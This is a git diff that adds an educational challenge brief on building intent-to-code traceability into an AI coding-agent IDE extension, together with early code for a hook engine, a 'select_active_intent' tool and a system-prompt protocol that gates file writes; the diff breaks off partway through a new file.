persistent data model that correlates the generated AST back to the original SpecKit requirements, utilizing the extended Agent Trace schema\.9 + +**Task Designation** + +**Execution Requirements** + +**Success Criteria** + +**Intent Extraction** + +Develop a pre\-processing function that parses \.specify/ markdown files, extracting the unique Requirement ID currently active in the session context\.25 + +The system successfully stores the active Requirement ID in the active session state variable\. + +**Spatial Hashing Implementation** + +Create a utility function that executes immediately following a file write, calculating a Murmur3 or SHA\-256 hash of the specific string block or AST node inserted by the agent\.9 + +The system generates reproducible, unique hashes for distinct code blocks regardless of their line numbers\. + +**Trace Record Serialization** + +Construct the JSON object conforming to the Agent Trace schema\. Embed the Requirement ID in the related array and the content hash in the ranges object\.9 + +A structurally valid JSON object is created containing all mandatory attribution metadata\. + +**Sidecar Persistence** + +Append the serialized JSON record to a \.orchestration/agent_trace\.jsonl file, anchoring it to the current Git commit SHA\.1 + +The trace file updates synchronously with codebase modifications without disrupting the standard IDE workflow\. + +### **Phase 4: Multi\-Agent Concurrency and Context Management** + +As the IDE extension scales, it must support environments where multiple specialized agents—such as planners, coders, and security reviewers—operate concurrently\.32 Trainees must implement orchestration patterns to manage conflicts and memory\. + +**Task Designation** + +**Execution Requirements** + +**Success Criteria** + +**Supervisor Orchestration** + +Implement a Hierarchical \(Manager\-Worker\) pattern\. A Supervisor agent reads the main spec and spawns isolated sub\-agents with narrow scopes \(e\.g\., a pure testing agent\)\.32 + +The Supervisor successfully delegates a sub\-task and awaits the specialized agent's completion payload\. + +**Context Compaction** + +Utilize a PreCompact hook to truncate raw tool outputs and summarize conversation history before passing context to a sub\-agent\.7 + +Token consumption remains within strict limits during long\-horizon, multi\-step operations\. + +**Optimistic Locking** + +Before allowing a file write in a concurrent scenario, compute the current content_hash of the target\. Compare it against the hash recorded when the agent initiated the task\.9 + +The system detects when another agent has modified the target file and safely aborts the stale write operation\. + +**AST\-Aware Patching** + +Modify the MCP tool definitions to force agents to emit targeted patch actions \(e\.g\., unified diffs\) rather than rewriting entire files\.35 + +Edits are applied cleanly to specific functions without overwriting unrelated human or agent modifications\. + +## **Multi\-Agent Concurrency and Conflict Resolution Strategies** + +The transition from a single conversational assistant to an autonomous "Agentic Assembly Line" necessitates sophisticated multi\-agent orchestration\. When a Supervisor agent spawns multiple specialized sub\-agents—such as one dedicated to generating database schemas and another dedicated to writing frontend components—the risk of operational collision increases exponentially\.33 Trainees must architect the extension to handle these concurrency challenges natively\. + +### **Hierarchical Orchestration and State Ledgers** + +The most resilient architectural pattern for IDE\-based multi\-agent systems is Hierarchical Supervision\.32 In this structure, a primary Supervisor agent maintains the overarching context of the GitHub SpecKit documentation\.32 Rather than attempting to solve the entire problem in a single context window, the Supervisor deconstructs the implementation plan into isolated sub\-tasks\. It then spawns specialized sub\-agents, injecting only the necessary subset of the specification into each sub\-agent's prompt\.31 + +To prevent context explosion and ensure memory continuity when spawning child agents mid\-task, the extension must utilize a centralized state ledger\.37 The TODO\.md file mandated in the trainee requirements acts as this ledger\.1 Before a sub\-agent executes, the Hook Engine intercepts the request, reads the state ledger, and provides the sub\-agent with its specific execution boundaries\. This dynamic context injection severely reduces token overhead and prevents specialized agents from hallucinating operations outside their assigned domains\.19 + +### **Collision Avoidance and Write Partitioning** + +When multiple agents attempt to modify the codebase simultaneously, line\-level conflicts are inevitable\. If a Backend Agent adds twenty lines of API routing to the top of a file, the line targets for a Frontend Agent's pending UI edits lower in the file become instantly invalid, leading to corrupted source code\.9 + +To resolve this, the extension must employ advanced concurrency control algorithms at the Hook Engine layer: + +1. **Write Partitioning:** The Supervisor agent must explicitly assign disjoint file spaces or distinct AST nodes to different sub\-agents\. For example, by allocating specific directories or files exclusively to a single agent, the system mathematically eliminates the possibility of spatial overlap during concurrent execution\.39 +2. **Optimistic Locking via Hash Validation:** In scenarios where file partitioning is impossible, the system utilizes optimistic locking\. Before the PreToolUse hook permits a file write, it re\-computes the current content_hash of the target file or function block\.9 If the hash differs from the state recorded when the agent initiated the task, the system registers a collision\. +3. **Targeted Patch Resolution:** Instead of relying on full\-file replacements or raw line\-number replacements, the extension forces agents to emit unified diffs or targeted patch actions tied to structural anchors \(e\.g\., "replace the function named authenticateUser"\)\.35 If a collision is detected via optimistic locking, the hook rejects the edit, feeds the updated file state back to the agent as a non\-blocking error, and forces the agent to recalculate its patch against the new codebase reality\.18 Furthermore, priority\-based resolution can be implemented, where foundational tasks \(e\.g\., core schema updates\) take precedence over dependent tasks \(e\.g\., UI updates\), ensuring logical execution flow during conflicts\.40 + +## **Enterprise Guardrails: Mitigating Systemic Pitfalls** + +Developing an autonomous IDE extension introduces significant vectors for failure that are non\-existent in traditional software tooling\. Trainees must proactively engineer defenses within the Hook Engine to mitigate these systemic anti\-patterns\.1 + +### **Combating Context Rot and Infinite Loops** + +As agents execute long\-running tasks, their context windows inevitably fill with redundant tool outputs, previous conversational turns, and deprecated file states\.37 This phenomenon, known as "Context Rot," rapidly degrades the generative model's reasoning capabilities, leading to repetitive looping behavior or severe deviations from the original architectural specification\. + +To mitigate this, trainees must implement aggressive context compaction strategies\. Utilizing the PreCompact hook event, the extension can systematically summarize the conversation history, export critical state variables to the TODO\.md file, and truncate raw tool outputs before continuing the session\.7 + +Furthermore, autonomous agents—particularly when encountering unexpected linter errors or failing tests—can enter infinite ReAct loops, repeatedly attempting the same failing code modification or hallucinating non\-existent terminal commands\.41 The extension must enforce rigid execution budgets at the middleware level\. The Hook Engine must track the number of consecutive autonomous actions\. If an agent exceeds a predefined threshold of PostToolUseFailure events, the system must trigger a circuit breaker, halting the asynchronous loop and escalating the issue to the human developer via the IDE UI\.7 + +### **Preventing Privilege Escalation and Prompt Injection** + +Because the extension operates within the local IDE with the user's full filesystem and terminal privileges, security vulnerabilities represent a catastrophic risk\.14 A maliciously crafted repository file, or even a compromised specification document downloaded from an untrusted source, could contain prompt injection attacks designed to trick the agent into executing data exfiltration scripts or destroying local environments\.41 + +The Human\-in\-the\-Loop boundary is the primary defense against this, but it is insufficient if users suffer from alert fatigue and blindly approve warning modals\. Trainees must implement granular permission modes within the MCP Client\. Tools should operate under the principle of least privilege, utilizing isolated directories or containerized execution environments where possible\.14 The Hook Engine must meticulously sanitize all JSON tool inputs, validate file paths to prevent directory traversal attacks, and ensure that all shell variables are strictly quoted to prevent arbitrary command injection\.14 + +## **Final Architectural Synthesis** + +The transition from manual coding to the governance of an "Agentic Assembly Line" requires a fundamental re\-engineering of the developer environment\.1 Unmanaged CLI agents and basic chat interfaces lack the deterministic controls required for enterprise\-grade software development\. By synthesizing the rigorous planning methodologies of Spec\-Driven Development, the verification mechanics of artifact\-driven design, and the strict operational boundaries of deterministic lifecycle hooks, an IDE extension can safely and effectively harness the power of autonomous agents\.2 + +Crucially, by extending the Agent Trace specification to formally link generated AST ranges with their originating requirement IDs, the system entirely eliminates the attribution crisis and the "Trust Gap"\.9 This integration ensures that every executed operation is recorded in a persistent, storage\-agnostic sidecar file, rendering the codebase fully auditable\. The architectural blueprint detailed herein provides trainees with the comprehensive framework necessary to build an IDE extension that does not merely generate syntax, but guarantees that every line of code is accountable, traceable, and strictly correlated to its underlying architectural intent\. + +#### **Works cited** + +1. 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Developing inside a Container \- Visual Studio Code, accessed February 14, 2026, [https://code\.visualstudio\.com/docs/devcontainers/containers](https://code.visualstudio.com/docs/devcontainers/containers) diff --git a/TRP1_Challenge_Week_1_Architecting_the_AI_Native_IDE_Intent_Code_Traceability.md b/TRP1_Challenge_Week_1_Architecting_the_AI_Native_IDE_Intent_Code_Traceability.md new file mode 100644 index 00000000000..2cadc24a640 --- /dev/null +++ b/TRP1_Challenge_Week_1_Architecting_the_AI_Native_IDE_Intent_Code_Traceability.md @@ -0,0 +1,362 @@ +# **TRP1 Challenge Week 1: Architecting the AI\-Native IDE & Intent\-Code Traceability** + +## **The Business Objective** + +Software engineering is transitioning from manual syntax generation to the **orchestration of silicon workers**\. In this new era, the primary bottleneck is not writing code, but **Governance** and **Context Management**\. + +**The Problem:** + +Traditional version control \(Git\) was built for humans\. It tracks _what_ changes \(lines of text\) and _when_, but it is completely blind to **Why** \(Intent\) and **Structural Identity** \(Abstract Syntax Tree or AST\)\. + +When an AI agent modifies 50 files to "Refactor Auth Middleware," Git sees 50 unrelated text diffs\. It cannot distinguish between a semantic refactor \(Intent Preservation\) and a feature addition \(Intent Evolution\)\. Furthermore, "Vibe Coding"—where developers blindly accept AI output without rigorous architectural constraints—leads to massive technical debt and "Context Rot\." + +**The Master Thinker Philosophy:** + +To pass this challenge, you must adopt the mindset of an AI Master Thinker, modeled after industry leaders: + +- **Boris Cherny \(Anthropic\):** Runs 15\+ concurrent agent sessions, treating them as specialized workers \(Architect, Builder, Tester\)\. He enforces a "Plan\-First" strategy and uses a shared brain to prevent drift\. +- **The Cursor Team:** Builds environments where the IDE acts as a manager, not just a text editor\. + +### **Cognitive Debt** + +Before writing code, you must internalize _why_ we are building this\. As AI generates code at superhuman speed, we face two new forms of debt: + +1. **Cognitive Debt:** When knowledge loses its "stickiness" because humans are skimming AI output rather than deeply understanding it\. +2. **Trust Debt:** The gap between what the system produces and what we can verify\. + +Your architecture is the repayment mechanism for this debt\. By enforcing **Intent\-Code Traceability**, you replace blind trust with cryptographic verification\. By creating **Living Documentation**, you prevent active knowledge decay\. + +**Your Goal:** + +You will not build a chat bot\. You will act as a **Forward Deployed Engineer \(FDE\)** to upgrade an existing open\-source AI Agent \(Roo Code or Cline\) into a governed **AI\-Native IDE**\. + +You will instrument this extension with a **Deterministic Hook System** that intercepts every tool execution to: + +1. **Enforce Context:** Inject high\-level architectural constraints via Sidecar files\. +2. **Trace Intent:** Implement an **AI\-Native Git** layer that links Business Intent \-> Code AST \-> Agent Action\. +3. **Automate Governance:** Ensure documentation and attribution evolve in real\-time as a side\-effect of the code\. + +## + +## **Mandatory Research & Conceptual Foundation** + +You are expected to engineer solutions based on these specific philosophies\. **Read these before writing code\.** + +- **Context Engineering:** [Exploring Gen AI: Context Engineering for Coding Agents ](https://martinfowler.com/articles/exploring-gen-ai/context-engineering-coding-agents.html) + - _Key Takeaway:_ How to curate the context window to prevent "Context Rot\." +- **AI\-Native Version Control:** [AI\-Native Git Version Control](https://medium.com/@ThinkingLoop/ai-native-git-version-control-for-agent-code-a98462c154e4) & [Git\-AI Project](https://github.com/git-ai-project/git-ai) + - _Key Takeaway:_ Moving from line\-based diffs to Intent\-AST correlation\. +- **Agentic Workflows:** [Claude Code Playbook \(Boris Cherny\)](https://www.linkedin.com/pulse/claude-code-features-playbook-personas-ajit-jaokar-gor6e/) + - _Key Takeaway:_ Running parallel agents \(Architect vs\. Builder\) and using a "Shared Brain\." +- **Prior Art:** [Entire\.io CLI](https://github.com/entireio/cli) and [Custard Seed](https://custardseed.com/)\. +- **On Cognitive Debt** + - [**Cognitive Debt**](https://margaretstorey.com/blog/2026/02/09/cognitive-debt/) – _Understand what happens when we stop "doing the work\."_ + - [**Trust, Care, and What’s Lost in Abstraction**](https://annievella.com/posts/finding-comfort-in-the-uncertainty/) – The difference between human care and machine output\. +- **On Intent Formalization**: + - [Intent Formalization](https://arxiv.org/abs/2406.09757) – _How to define intent mathematically\._ + - [_Formal Intent Theory_](http://sunnyday.mit.edu/papers/intent-tse.pdf)\* _[_ \*](https://github.com/cbora/aispec) + - [_AISpec_](https://github.com/cbora/aispec)_\._ + - AI\-assisted reverse engineering to reconstruct functional specifications from UI elements, binaries, and data lineage to overcome analysis paralysis**_\. _**[**Black Box to Blueprint**](https://martinfowler.com/articles/black-box-to-blueprint.html)_\._ + +## **The Architecture Specification** + +You will fork **Roo Code** \(Recommended\) or **Cline**\. You will inject a hook system that maintains a strictly defined \.orchestration/ directory in the user's workspace\. + +### **The Hook Engine & Middleware Boundary** + +The physical architecture must be designed with strict privilege separation\. + +- **Webview \(UI\):** Restricted presentation layer\. Emits events via postMessage\. +- **Extension Host \(Logic\):** Handles API polling, secret management, and MCP tool execution\. +- **The Hook Engine:** Acts as a strict middleware boundary\. It intercepts all tool execution requests\. At the PreToolUse phase, the engine will enforce intent context injection and Human\-in\-the\-Loop \(HITL\) authorization\. At PostToolUse it will update codebase documentation, state evolution, and intent changes\. + +To solve the problem of injecting context before the agent has time to analyze the user's request and what it should do, you must architect a **Two\-Stage State Machine** for every turn of the conversation\. The Agent is not allowed to write code immediately; it must first "checkout" an intent\. + +**The Execution Flow:** + +1. **State 1: The Request\.** User prompts: _"Refactor the auth middleware\."_ +2. **State 2: The Reasoning Intercept \(The Handshake\)\.** + - The Agent analyzes the request, identifies an intent ids, and calls a mandatory tool: select_active_intent\(intent_id\)\. + - **The Pre\-Hook Intercepts this call\.** It pauses the execution loop\. + - The Hook queries the **Data Model** for the selected intent's constraints, related files, and recent history for the identified intent IDs\. + - The Hook **injects** this deep context into the immediate prompt and resumes execution\. +3. **State 3: Contextualized Action\.** + - The Agent, now possessing the specific context, calls LLM to generate required changes and calls write_file\. + - **The Post\-Hook Intercepts\.** It calculates the content_hash and logs the trace, linking the code back to the intent_id selected in State 2\. + +### **The Data Model** + +You will implement a Sidecar storage pattern in \.orchestration/\. These files are machine\-managed\. These data\-models are essentials only\. Based on your capability and architecture you might prefer to store the data in SQLite or other high performant local databases such as Alibaba Open\-Sources [Zvec](https://zvec.org/en/blog/introduction/) + +**1\. \.orchestration/active_intents\.yaml \(The Intent Specification\)** + +Inspired by **Spec\-Driven Development** and **AISpec**, this file treats the codebase as a collection of formalized intents, not just text files\. + +- **Purpose:** Tracks the lifecycle of business requirements\. Not all code changes are equal; this file tracks _why_ we are working\. +- **Update Pattern:** Updated via **Pre\-Hooks** \(when an agent picks a task\) and **Post\-Hooks** \(when a task is complete\)\. +- **Structure:** + +active_intents: + +\- id: "INT\-001" + + name: "JWT Authentication Migration" + + status: "IN\_PROGRESS" + + \# Formal Scope Definition \(Crucial for Parallelism\) + + owned\_scope: + + \- "src/auth/\*\*" + + \- "src/middleware/jwt\.ts" + + constraints: + + \- "Must not use external auth providers" + + \- "Must maintain backward compatibility with Basic Auth" + + \# The "Definition of Done" + + acceptance\_criteria: + + \- "Unit tests in tests/auth/ pass" + +**1\. \.orchestration/agent_trace\.jsonl \(The Ledger\)** + +- **Purpose:** An append\-only, machine\-readable history of every mutating action, linking the abstract Intent to the concrete Code Hash\. +- **Update Pattern:** Updated via **Post\-Hook** after file writes\. +- **Schema Requirement:** You must implement the full **Agent Trace** specification to ensure spatial independence via content hashing\. + +\{ + +"id": "uuid\-v4", + +"timestamp": "2026\-02\-16T12:00:00Z", + +"vcs": \{ "revision_id": "git_sha_hash" \}, + +"files": \[ + + \{ + + "relative\_path": "src/auth/middleware\.ts", + + "conversations": \[ + + \{ + + "url": "session\_log\_id", + + "contributor": \{ + + "entity\_type": "AI", + + "model\_identifier": "claude\-3\-5\-sonnet" + + \}, + + "ranges": \[ + + \{ + + "start\_line": 15, + + "end\_line": 45, + + // CRITICAL: Spatial Independence\. + + "content\_hash": "sha256:a8f5f167f44f4964e6c998dee827110c" + + \} + + \], + + // CRITICAL: The Golden Thread to SpecKit + + "related": \[ + + \{ + + "type": "specification", + + "value": "REQ\-001" + + \} + + \] + + \} + + \] + + \} + +\] + +\} + +- **Content Hashing:** You must compute a hash of the modified code block to ensure spatial independence\. If lines move, the hash remains valid\. + +**3\. \.orchestration/intent_map\.md \(The Spatial Map\)** + +- **Purpose:** Maps high\-level business intents to physical files and AST nodes\. When a manager asks, "Where is the billing logic?", this file provides the answer\. +- **Update Pattern:** Incrementally updated when INTENT_EVOLUTION occurs\. + +**4\. **[**AGENT\.md**](http://agent.md)** or CLAUDE\.md \(The Shared Brain\)** + +- **Purpose:** A persistent knowledge base shared across parallel sessions \(Architect/Builder/Tester\)\. Contains "Lessons Learned" and project\-specific stylistic rules\. +- **Update Pattern:** Incrementally appended when verification loops fail or architectural decisions are made\. + +## + +## **Implementation Curriculum ** + +The following guides are indicatory\. You may not achieve a robust solution implementing only these phases\. You must architect a full working solution and implement it based on the actual goal specified\. Your innovation, thinking outside the box, and identifying potential gaps and their solutions is necessary\. + +### **Phase 0: The Archaeological Dig** + +_Goal: Map the nervous system\._ + +1. **Fork & Run:** Get Roo Code or Cline running in the Extension Host\. +2. **Trace the Tool Loop:** Identify the exact function in the host extension that handles execute_command and write_to_file\. +3. **Locate the Prompt Builder:** Find where the System Prompt is constructed\. You cannot enforce the "Reasoning Loop" if you cannot modify the instructions given to the LLM\. +4. **Deliverable:** ARCHITECTURE_NOTES\.md\. + +### **Phase 1: The Handshake \(Reasoning Loop Implementation\)** + +_Goal: Solve the Context Paradox\. Bridge the synchronous LLM with the asynchronous IDE loop\._ + +1. **Define the Tool:** Create a new tool definition: select_active_intent\(intent_id: string\)\. +2. **Context Loader \(Pre\-Hook\):** Before the extension sends a prompt to the LLM, intercept the payload\. Read the corresponding entries in active_intents\.yaml, identify related agent trace entries for the active intent the agent is processing, and prepare a consolidated intent context\. +3. **Prompt Engineering:** Modify the System Prompt to enforce the protocol: + - _"You are an Intent\-Driven Architect\. You CANNOT write code immediately\. Your first action MUST be to analyze the user request and call select_active_intent to load the necessary context\."_ +4. **Context Injection Hook:** + - Implement logic that intercepts select_active_intent\. + - Read active_intents\.yaml\. + - Construct an XML block containing _only_ the constraints and scope for the selected ID\. + - Return this block as the tool result\. +5. **The Gatekeeper:** In your Pre\-Hook, verify that the agent has declared a valid intent_id\. If not, **block execution** and return an error: _"You must cite a valid active Intent ID\."_ + +#### **Phase 2: The Hook Middleware & Security Boundary** + +_Goal: Architect the Hook Engine that wraps all tool execution requests and enforce formal boundaries\._ + +1. **Command Classification:** Classify commands as **Safe** \(read\) or **Destructive** \(write, delete, execute\)\. +2. **UI\-Blocking Authorization:** Identify existing logic to pause the Promise chain\. Your hook will trigger vscode\.window\.showWarningMessage with "Approve/Reject" to update core intent evolution\. Your architecture should allow defining \.intentignore like file to exclude changes to certain intents\. A simple model to adopt is a codebase is a collection of intents as much as it is a collection of organized code files linked by imports\. You may need to develop or adopt a simple intent language see the following references [https://arxiv\.org/abs/2406\.09757](https://arxiv.org/abs/2406.09757) [https://github\.com/cbora/aispec](https://github.com/cbora/aispec) [http://sunnyday\.mit\.edu/papers/intent\-tse\.pdf](http://sunnyday.mit.edu/papers/intent-tse.pdf) and those that build formal intent specification structures on top of GitHub speckit\. +3. **Autonomous Recovery:** If rejected, send a standardized JSON tool\-error back to the LLM so it can self\-correct without crashing\. +4. **Scope Enforcement:** In the write_file Pre\-Hook, check if the target file matches the owned_scope of the active intent\. + - _If valid:_ Proceed\. + - _If invalid:_ Block and return: _"Scope Violation: REQ\-001 is not authorized to edit \[filename\]\. Request scope expansion\."_ + +### **Phase 3: The AI\-Native Git Layer \(Full Traceability\)** + +_Goal: Implement the semantic tracking ledger\. Repay Trust Debt with Verification\._ + +1. **Schema Modification:** Modify the write_file tool schema to require intent_id and mutation_class\. +2. **Semantic Classification:** Ensure your system can distinguish between AST_REFACTOR \(syntax change, same intent\) and INTENT_EVOLUTION \(new feature\)\. +3. **Spatial Hashing:** Implement a utility to generate SHA\-256 hashes of string content\. +4. **Trace Serialization:** + - Create a Post\-Hook on write_file\. + - Construct the JSON object using the **Agent Trace Schema** defined before\. + - **Crucial:** You must inject the REQ\-ID \(from Phase 1\) into the related array and the content_hash into the ranges object\. + - Append to agent_trace\.jsonl\. + +### **Phase 4: Parallel Orchestration \(The Master Thinker\)** + +_Goal: Manage Silicon Workers via Optimistic Locking\._ + +1. **Concurrency Control:** + - When an agent attempts to write, calculate the hash of the _current file on disk_\. + - Compare it to the hash the agent _read_ when it started its turn\. + - **If they differ:** A parallel agent \(or human\) has modified the file\. **BLOCK** the write to prevent overwriting\. Return a "Stale File" error and force the agent to re\-read\. +2. **Lesson Recording:** Implement a tool that appends "Lessons Learned" to CLAUDE\.md if a verification step \(linter/test\) fails\. + +## + +## **Proof of Execution \(The Demo\)** + +To pass, you must submit a video \(max 5 mins\) demonstrating the **Parallel "Master Thinker" Workflow**: + +1. **Setup:** Open a fresh workspace\. Define active_intents\.yaml with a simple example of your own \- intents generated using GitHub speckit or simple like "INT\-001: Build Weather API"\. +2. **Parallelism:** Open **two** separate instances/chat panels of your extension\. + - _Agent A \(Architect\):_ Monitors intent_map\.md and defines the plan\. + - _Agent B \(Builder\):_ Writes code for INT\-001\. +3. **The Trace:** Have Agent B refactor a file\. Show \.orchestration/agent_trace\.jsonl updating in real\-time with the correct AST_REFACTOR classification and content hash\. +4. **The Guardrails:** Have Agent B try to execute a destructive command or write code without an Intent ID\. Show the Pre\-Hook blocking it\. + +## **Deliverables** + +The following are required submissions for both the interim submission on Wednesday and final submission on Saturday\. + +### Interim Submission \- Wednesday 21hr UTC + +1. PDF Report + - How the VS Code extension works\. + - The code and design architecture of the agent in the extension \- your note ARCHITECTURE_NOTES\.md from Phase 0 + - Architectural decisions for the hook + - Diagrams and Schemas of the hook system +2. Submit a GitHub Repository containing: + - Your forked extension with a clean src/hooks/ directory\. + +### Final Submission \- Saturday 21hr UTC + +1. PDF Report + - Complete report of your implementation with detailed schemas, architecture, and notes\. + - Detailed breakdown of the Agent flow and your implemented hook + - Summary of what has been achieved with all the work done\. +2. **The Meta\-Audit Video:** + - Demonstrating the workflow defined in Section 5\. +3. Submit a GitHub Repository containing: + - **The \.orchestration/ Artifacts:** + 1. agent_trace\.jsonl \. + 2. active_intents\.yaml + 3. intent_map\.md\. + - **The Source Code:** + - Your forked extension with a clean src/hooks/ directory\. + +## **Evaluation Rubric** + +The following criterions will play a significant role in assessing the work you will submit\. + +**Metric** + +**Score 1 \(The Vibe Coder\)** + +**Score 3 \(Competent Tech Lead\)** + +**Score 5 \(Master Thinker\)** + +**Intent\-AST Correlation** + +No machine\-readable trace\. Relies on standard Git\. + +Trace file exists but classification is random/inaccurate\. + +agent_trace\.jsonl perfectly maps Intent IDs to **Content Hashes**\. Distinguishes Refactors from Features mathematically\. + +**Context Engineering** + +State files are handwritten/static\. Agent drifts\. + +Hooks update state, but the architecture is brittle\. + +Dynamic injection of active_intents\.yaml\. Agent cannot act without referencing the context DB\. Context is curated, not dumped\. + +**Hook Architecture** + +Logic is stuffed into the main execution loop \(spaghetti\)\. + +Hooks work but are tightly coupled to the host\. + +Clean **Middleware/Interceptor Pattern**\. Hooks are isolated, composable, and fail\-safe\. + +**Orchestration** + +Single\-threaded only\. + +Parallel attempts collide\. + +**Parallel Orchestration** demonstrated\. Shared CLAUDE\.md prevents collision\. System acts as a "Hive Mind\." diff --git a/packages/types/src/tool.ts b/packages/types/src/tool.ts index 4f90b63e9fc..3655a5f29ed 100644 --- a/packages/types/src/tool.ts +++ b/packages/types/src/tool.ts @@ -46,6 +46,7 @@ export const toolNames = [ "skill", "generate_image", "custom_tool", + "select_active_intent", ] as const export const toolNamesSchema = z.enum(toolNames) diff --git a/src/core/assistant-message/presentAssistantMessage.ts b/src/core/assistant-message/presentAssistantMessage.ts index 7f5862be154..859ba5034b8 100644 --- a/src/core/assistant-message/presentAssistantMessage.ts +++ b/src/core/assistant-message/presentAssistantMessage.ts @@ -675,6 +675,38 @@ export async function presentAssistantMessage(cline: Task) { } } + // ── HookEngine: Pre-Tool Middleware (Phase 1 Handshake) ────────── + // Run all registered pre-hooks before executing the tool. + // This enforces the Intent-Driven Architecture: + // 1. Gatekeeper: blocks mutating tools unless an intent is active + // 2. IntentContextLoader: handles select_active_intent to inject context + // If a hook blocks or injects, we push the result and skip the switch. + if (!block.partial) { + const hookResult = await cline.hookEngine.runPreHooks( + block.name, + (block.nativeArgs as Record) ?? block.params ?? {}, + ) + + if (hookResult.action === "block" || hookResult.action === "inject") { + // Push the hook's response as the tool_result + pushToolResult( + hookResult.action === "block" + ? formatResponse.toolError(hookResult.toolResult) + : hookResult.toolResult, + ) + + if (hookResult.action === "block") { + cline.consecutiveMistakeCount++ + } else { + // "inject" = successful select_active_intent + cline.consecutiveMistakeCount = 0 + } + + break + } + } + // ── End HookEngine Pre-Tool Middleware ─────────────────────────── + switch (block.name) { case "write_to_file": await checkpointSaveAndMark(cline) @@ -849,6 +881,12 @@ export async function presentAssistantMessage(cline: Task) { pushToolResult, }) break + case "select_active_intent": + // Handled by HookEngine pre-hook (IntentContextLoader). + // This case should not be reached because the pre-hook intercepts + // and returns the result via "inject" action above. + // If we get here, it means the hook allowed it through — no-op. + break default: { // Handle unknown/invalid tool names OR custom tools // This is critical for native tool calling where every tool_use MUST have a tool_result @@ -917,6 +955,25 @@ export async function presentAssistantMessage(cline: Task) { } } + // ── HookEngine: Post-Tool Middleware (Phase 2) ─────────────────── + // Run post-hooks after tool execution completes. + // Currently handles: auto-formatting (Prettier) and linting (ESLint). + // If errors are found, feedback is appended to the AI's context for + // self-correction in the next turn. + if (!block.partial) { + const postFeedback = await cline.hookEngine.runPostHooks( + block.name, + (block.nativeArgs as Record) ?? block.params ?? {}, + ) + + if (postFeedback) { + // Append post-hook feedback as supplementary context + // The AI will see this and can self-correct if there are lint errors + await cline.say("tool", postFeedback) + } + } + // ── End HookEngine Post-Tool Middleware ────────────────────────── + break } } diff --git a/src/core/prompts/sections/index.ts b/src/core/prompts/sections/index.ts index 318cd47bc9d..64127bd6b4b 100644 --- a/src/core/prompts/sections/index.ts +++ b/src/core/prompts/sections/index.ts @@ -8,3 +8,4 @@ export { getCapabilitiesSection } from "./capabilities" export { getModesSection } from "./modes" export { markdownFormattingSection } from "./markdown-formatting" export { getSkillsSection } from "./skills" +export { getIntentProtocolSection } from "./intent-protocol" diff --git a/src/core/prompts/sections/intent-protocol.ts b/src/core/prompts/sections/intent-protocol.ts new file mode 100644 index 00000000000..f788d59d111 --- /dev/null +++ b/src/core/prompts/sections/intent-protocol.ts @@ -0,0 +1,56 @@ +/** + * intent-protocol.ts — System Prompt Section for Intent-Driven Architecture + * + * This module generates the mandatory protocol instructions that are injected + * into the system prompt to enforce the "Handshake" pattern. It tells the AI + * agent that it MUST call select_active_intent() before any mutating operation. + * + * This sits alongside other prompt sections (objective, rules, capabilities) + * and is appended near the end of the system prompt for maximum salience — + * LLMs attend more strongly to instructions at the beginning and end of prompts. + * + * @see src/core/prompts/system.ts — where this section is injected + * @see src/hooks/HookEngine.ts — the runtime enforcement of this protocol + * @see TRP1 Challenge Week 1, Phase 1: Prompt Engineering + */ + +/** + * Returns the Intent-Driven Architecture protocol section for the system prompt. + * + * This section enforces the two-stage state machine: + * Stage 1: Agent receives user request → MUST call select_active_intent + * Stage 2: After handshake → Agent may proceed with mutating tools + * + * The strong language ("CANNOT", "MUST", "WILL BE BLOCKED") is intentional — + * probabilistic adherence increases with imperative framing. + */ +export function getIntentProtocolSection(): string { + return `==== + +INTENT-DRIVEN ARCHITECTURE PROTOCOL (MANDATORY) + +You are an Intent-Driven Architect operating under a governed tool execution model. The following protocol is NON-NEGOTIABLE and enforced by the Hook Engine middleware: + +## The Handshake Protocol + +1. You CANNOT write code, modify files, or call any mutating tool (write_to_file, apply_diff, edit, execute_command, etc.) immediately after receiving a user request. +2. Your FIRST action after analyzing any user request MUST be to identify the relevant business intent and call: + select_active_intent(intent_id: "") + This loads constraints, scope boundaries, and acceptance criteria from .orchestration/active_intents.yaml. +3. If you attempt to use any mutating tool WITHOUT first calling select_active_intent, the Gatekeeper will BLOCK your tool call and return an error. + +## After the Handshake + +Once you have successfully called select_active_intent and received the block: +- You MUST respect all listed in the context. +- You may ONLY modify files that match the patterns. +- Your work is considered complete ONLY when ALL are satisfied. +- If the user's request does not match any existing intent, use ask_followup_question to clarify. + +## Two-Stage State Machine + +Stage 1 (Reasoning): Analyze request → Identify intent → Call select_active_intent +Stage 2 (Action): With context loaded → Plan → Execute tools → Verify criteria + +You are a MANAGER of silicon workers, not a vibe coder. Every action must be traceable to a declared intent.` +} diff --git a/src/core/prompts/system.ts b/src/core/prompts/system.ts index 0d6071644a9..54ee4c96108 100644 --- a/src/core/prompts/system.ts +++ b/src/core/prompts/system.ts @@ -23,6 +23,7 @@ import { addCustomInstructions, markdownFormattingSection, getSkillsSection, + getIntentProtocolSection, } from "./sections" // Helper function to get prompt component, filtering out empty objects @@ -100,6 +101,8 @@ ${getSystemInfoSection(cwd)} ${getObjectiveSection()} +${getIntentProtocolSection()} + ${await addCustomInstructions(baseInstructions, globalCustomInstructions || "", cwd, mode, { language: language ?? formatLanguage(vscode.env.language), rooIgnoreInstructions, diff --git a/src/core/prompts/tools/native-tools/index.ts b/src/core/prompts/tools/native-tools/index.ts index 758914d2d65..adbb294ecb2 100644 --- a/src/core/prompts/tools/native-tools/index.ts +++ b/src/core/prompts/tools/native-tools/index.ts @@ -20,6 +20,7 @@ import searchFiles from "./search_files" import switchMode from "./switch_mode" import updateTodoList from "./update_todo_list" import writeToFile from "./write_to_file" +import selectActiveIntent from "./select_active_intent" export { getMcpServerTools } from "./mcp_server" export { convertOpenAIToolToAnthropic, convertOpenAIToolsToAnthropic } from "./converters" @@ -68,6 +69,7 @@ export function getNativeTools(options: NativeToolsOptions = {}): OpenAI.Chat.Ch switchMode, updateTodoList, writeToFile, + selectActiveIntent, ] satisfies OpenAI.Chat.ChatCompletionTool[] } diff --git a/src/core/prompts/tools/native-tools/select_active_intent.ts b/src/core/prompts/tools/native-tools/select_active_intent.ts new file mode 100644 index 00000000000..59a8caa6958 --- /dev/null +++ b/src/core/prompts/tools/native-tools/select_active_intent.ts @@ -0,0 +1,49 @@ +/** + * select_active_intent — Native tool schema definition. + * + * Phase 1 "Handshake" tool for the Intent-Driven Architecture. + * This tool forces the AI agent to declare which business intent (from + * .orchestration/active_intents.yaml) it is working on BEFORE it can + * perform any mutating operations (write_to_file, execute_command, etc.). + * + * The HookEngine intercepts this tool call at PreToolUse to: + * 1. Read .orchestration/active_intents.yaml from the workspace root + * 2. Find the matching intent by ID + * 